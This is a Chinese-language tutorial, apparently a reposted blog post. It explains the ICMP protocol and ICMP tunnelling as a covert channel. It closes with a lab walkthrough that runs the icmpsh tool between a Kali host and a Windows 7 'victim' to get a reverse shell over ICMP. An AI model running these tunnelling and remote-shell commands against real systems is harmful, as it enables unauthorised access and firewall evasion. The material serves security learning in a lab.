标签：隧道 IP 报文 192.168 icmpsh ICMP 数据包 搭建
1.icmp协议
Internet Control Message Protocol Internet控制报文协议。它是TCP/IP协议簇的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用于网络本身的消息。这些控制消息虽然并不传输用户数据，但是对于用户数据的传递起着重要的作用
ICMP协议主要提供两种功能，
一种是差错报文，一种是信息类报文。信息类报文包括回显请求和回显应答，以及路由器通告和路由器请求。常见的差错报文类型包括目的不可达、重定向、超时和参数问题。
主要特点：
确认IP数据包是否成功到达目的地
通知源主机发送IP数据包丢失的原因
ICMP是基于IP协议工作的
ICMP只能作用于IPV4，IPV6下，使用ICMPv6
2、ICMP隧道
（1）原理：
由于ICMP报文自身可以携带数据，而且ICMP报文是由系统内核处理的，不占用任何端口，因此具有很高的隐蔽性
通常ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY两种报文，把数据隐藏在ICMP数据包包头的选项域中，利用ping命令建立隐蔽通道。简单说就是，改变操作系统默认填充的Data，替换成我们自己的数据。
所以现在的ICMP隧道技术，基本采用修改ICMPECHO和ICMPECHOREPLY两种报文，把消息隐藏在数据中，利用ping或 tracert 命令建立隐蔽通道。
优缺点
优点：
防火墙对ICMP_ECHO数据包是放行的，并且内部主机不会检查ICMP数据包所携带的数据内容，隐蔽性高
缺点：
ICMP隐蔽传输是无连接的，传输不是很稳定，而且隐蔽通道的带宽很低
利用隧道传输时，需要接触更低层次的协议 ，这就需要高级用户权限。
隧道搭建
kali IP：192.168.220.129
Windows 7 IP 192.168.220.132
先在kali上下载icmpsh
git clone https://github.com/inquisb/icmpsh.git
解压icmpsh
unzip icmpsh-master.zip
使用该工具需要安装python 的 impacket
pip install impacket -i https://pypi.douban.com/simple
先关闭自身的icmp
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1
最后执行icmpsh_m.py 192.168.220.129 192.168.220.132
在受害主机（Windows 7）中，上传icmpsh。
之后执行icmpsh.exe -t 192.168.220.129
执行完成之后，kali便能收到Windows 7 使用icmp隧道的shell
标签：隧道,IP,报文,192.168,icmpsh,ICMP,数据包,搭建 来源： https://www.cnblogs.com/sec0reluo/p/15464126.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。